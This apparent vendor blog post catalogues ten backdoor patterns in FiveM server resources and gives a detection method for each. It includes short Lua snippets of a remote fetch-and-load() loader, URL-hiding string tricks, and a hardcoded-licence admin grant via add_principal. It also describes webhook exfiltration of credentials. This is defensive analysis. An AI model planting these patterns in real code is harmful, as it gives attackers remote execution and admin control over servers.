Ten backdoor patterns we keep finding in FiveM resources

Published 6 min readTitan Software z.s.

In short

FiveM backdoors are far less varied than their marketing suggests. Ten patterns account for most of what circulates: a remote loader that fetches and executes code, a URL split across string fragments, a payload hidden in a config or a locale file, a silent add_ace grant for a hardcoded identifier, a registered event that executes its own argument, a webhook that exfiltrates connection strings, a Lua file that ships alongside an unrelated binary, an auto-updater with no integrity check, a whitelist check that fails open, and an obfuscated blob whose only purpose is to hide one of the previous nine. Each has a distinct detection signature, and none of them require novel techniques to find.

Key takeaways

  • Remote loader (fetch → decode → load) remains the single most common shape and the most damaging.
  • Backdoors hide in the files reviewers skip: config.lua, locale files, and vendored libraries.
  • A registered event that passes its argument to load() is a network-exposed RCE, not a backdoor detail.
  • Auto-updaters without signature verification are a backdoor waiting to be delivered by someone else.
  • Obfuscation is rarely the attack — it is the wrapper around one of the other nine patterns.

Read enough submitted archives and the variety collapses. Attackers reuse builders, copy each other's Discord posts, and re-skin the same loader for a new marketplace. What follows is the shape of what we actually see, ordered roughly by how often it turns up, with what a detection for each looks like.

1. The remote loader

The archetype: an HTTP request fetches a string, something decodes it, and load() executes it. Everything the attacker wants to do lives on their server, so the resource itself stays small and looks harmless in a diff.

lua
PerformHttpRequest(cfg.endpoint, function(code, body)
  if code == 200 then
    local chunk = load(decode(body))
    if chunk then chunk() end
  end
end, 'GET')
Condensed for readability; real samples spread this across files

Detection: a data-flow path from any network response to a dynamic-load sink. Keyword matching finds naive versions; anything spread across two files needs actual taint tracking.

2. The split URL

Because operators grep for http, the URL is assembled at runtime from fragments, character codes or table joins. The string 'https://' never appears in the file.

lua
local a = 'ht' .. 'tps://' .. 'cdn-' .. host .. '.example'
local b = string.char(104,116,116,112,115)
local c = table.concat({'https:', '', 'api.example', 'v1'}, '/')
Three ways the same host gets hidden

Detection: constant folding. Resolve concatenations, char sequences and table joins during analysis, then match against the folded value rather than the source text.

3. The payload in the config

Config files are edited by every operator and read carefully by almost none. A long base64 blob assigned to something like Config.Telemetry, or a 'licence key' that is really an encoded payload, survives review because config feels like data rather than code.

Detection: flag high-entropy string literals above a length threshold, in any file the manifest loads, and check whether the variable holding them ever reaches a decode or execute path. Locale and translation files deserve exactly the same treatment.

4. The quiet ace grant

Rather than executing code, the resource simply hands the attacker authority: a hardcoded licence identifier added to a principal with command access, or an ExecuteCommand call that grants admin when a specific player connects.

lua
AddEventHandler('playerConnecting', function()
  local id = GetPlayerIdentifierByType(source, 'license')
  if id == 'license:REDACTED' then
    ExecuteCommand(('add_principal identifier.%s group.admin'):format(id))
  end
end)
No network call, no obfuscation, full control

Detection: any hardcoded player identifier compared against a live identity, and any add_ace, add_principal or ExecuteCommand reachable from an event handler. This pattern trips no network heuristic at all, which is exactly why it is worth a dedicated rule.

5. The event that executes its own argument

RegisterNetEvent plus a handler that passes its parameter to load() turns every connected client into a remote code execution vector — and in some samples the event name is deliberately mundane, like 'sync:update' or a name copied from a popular framework.

Detection: treat net-event parameters as tainted sources. Any path from an event argument to load, ExecuteCommand or a SQL string is a finding regardless of intent, because it is exploitable whether or not the author meant it.

6. The exfiltration webhook

No code execution at all — the resource just reads your server configuration, database connection string, or player data and POSTs it to a Discord webhook. Cheap to write, hard to notice, and enough to take a server over later through the credentials it leaked.

Detection: data flow from GetConvar, environment access or query results into an outbound request. A webhook URL that is not in the operator's own configuration is worth surfacing on its own.

7. The unrelated binary

A Lua resource ships with an .exe, .dll or .sh 'installer', or a Node module with a postinstall script. The malicious part never touches FiveM at all — it targets the operator's machine while they set the resource up.

Detection: file-type inventory. Any executable, archive-within-archive or package manifest with lifecycle scripts inside a resource archive should be reported before any Lua analysis even begins.

8. The unverified auto-updater

This one is usually not malicious when written. The resource downloads its own updates from a URL, writes them into its directory and reloads. It becomes a backdoor the moment that domain expires, the seller's account is compromised, or the seller decides to monetise their install base.

Detection: writes into the resource directory sourced from a network response, with no signature or hash verification in between. Report it as delivered risk rather than as active malice — but report it.

9. The whitelist that fails open

A permission check that returns true when its data source is unreachable, or an admin check comparing against a value the client controls. Not a backdoor in intent, identical in outcome.

Detection: authorisation decisions whose failure branch grants rather than denies, and comparisons against client-supplied values in a server context.

10. The obfuscated wrapper

Rarely an attack by itself — almost always a container for one of the nine above. What matters is not that a file is obfuscated but what the obfuscation is protecting, and whether the resource has any legitimate reason to be unreadable in the first place.

Check an archive against these patternsFXScan implements detections for each shape above and reports the evidence path, not just a verdict.

Frequently asked questions

What is the most common type of FiveM backdoor?

A remote loader: the resource makes an outbound HTTP request, decodes the response, and passes it to load() so the attacker's code runs inside your server process. It is common because the resource itself stays small and innocuous-looking while all the actual malicious logic lives on a server the attacker controls and can change at any time.

Can a FiveM backdoor work without making any network requests?

Yes. A hardcoded identifier check that grants admin privileges to a specific licence or Steam ID needs no network access at all — the attacker simply joins your server. This pattern defeats any detection built purely around outbound connections, which is why identifier comparisons and ace/principal grants deserve their own dedicated rules.

Are auto-updaters in FiveM resources dangerous?

An auto-updater that downloads code and writes it into the resource directory without verifying a signature or hash is a delivery channel for whoever controls that domain — the original seller today, potentially someone else tomorrow if the domain lapses or the account is compromised. It is not malicious when written, but it is a standing risk you did not choose to accept.

Related projects

Read next